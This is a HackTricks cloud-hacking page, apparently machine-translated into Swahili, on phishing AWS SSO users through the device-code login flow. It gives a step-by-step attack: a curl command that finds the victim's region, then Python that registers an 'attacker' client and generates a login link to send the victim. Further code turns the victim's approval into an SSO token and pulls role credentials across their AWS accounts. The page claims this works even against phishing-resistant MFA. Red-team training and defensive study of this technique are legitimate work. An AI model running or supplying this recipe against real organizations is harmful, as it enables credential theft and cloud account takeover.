AWS - Kituo cha Utambulisho & SSO Ujumbe Usioidhinishwa
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ulaghai wa Nambari ya Kifaa cha AWS
Kwanza ilipendekezwa katika hiki blogu, inawezekana kutuma kiungo kwa mtumiaji akitumia AWS SSO kwamba ikiwa mtumiaji atakubali mshambuliaji ataweza kupata token ya kujifanya kuwa mtumiaji na kufikia majukumu yote ambayo mtumiaji anaweza kufikia katika Kituo cha Utambulisho.
Ili kutekeleza shambulio hili, masharti ni:
- Mwathirika anahitaji kutumia Kituo cha Utambulisho
- Mshambuliaji lazima ajue subdomain inayotumiwa na mwathirika
<victimsub>.awsapps.com/start
Kwa kutumia taarifa hizo, mshambuliaji ataweza kutuma kiungo kwa mtumiaji kwamba ikiwa kikubali itampa mshambuliaji ufikiaji wa akaunti ya mtumiaji wa AWS.
Shambulio
- Kupata subdomain
Hatua ya kwanza ya mshambuliaji ni kugundua subdomain ambayo kampuni ya mwathirika inatumia katika Kituo chao cha Utambulisho. Hii inaweza kufanywa kupitia OSINT au kukisia + BF kwani kampuni nyingi zitakuwa zikitumika jina lao au toleo la jina lao hapa.
Kwa kutumia taarifa hii, inawezekana kupata eneo ambapo Kituo cha Utambulisho kilikamilishwa:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Tengeneza kiungo kwa ajili ya mwathirika & Tuma
Run the following code to generate an AWS SSO login link so the victim can authenticate.
For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Tuma kiungo kilichoundwa kwa mwathirika ukitumia ujuzi wako mzuri wa uhandisi wa kijamii!
- Subiri hadi mwathirika akubali
Ikiwa mwathirika alikuwa ameingia tayari kwenye AWS atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa, atahitaji kuingia na kisha kukubali kutoa ruhusa.
Hii ndiyo jinsi ujumbe unavyoonekana siku hizi:
.png)
- Pata token ya SSO
Ikiwa mwathirika alikubali ujumbe, endesha hii code ili kuunda token ya SSO kwa kujifanya kuwa mtumiaji:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
Token ya ufikiaji wa SSO ni halali kwa masaa 8.
- Jifanya kuwa mtumiaji
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
Ni furaha kujua kwamba shambulio la awali linafanya kazi hata kama "unphisable MFA" (webAuth) inatumika. Hii ni kwa sababu mchakato wa awali hauondoki kwenye eneo la OAuth lililotumika. Si kama katika shambulio zingine za phishing ambapo mtumiaji anahitaji kubadilisha eneo la kuingia, katika kesi ambapo mchakato wa kifaa umeandaliwa hivyo nambari inajulikana na kifaa na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi litakubaliwa, kifaa, kwa kujua nambari ya awali, kitakuwa na uwezo wa kurejesha akidi za mtumiaji.
Kwa maelezo zaidi kuhusu hii angalia chapisho hili.
Automatic Tools
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
References
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.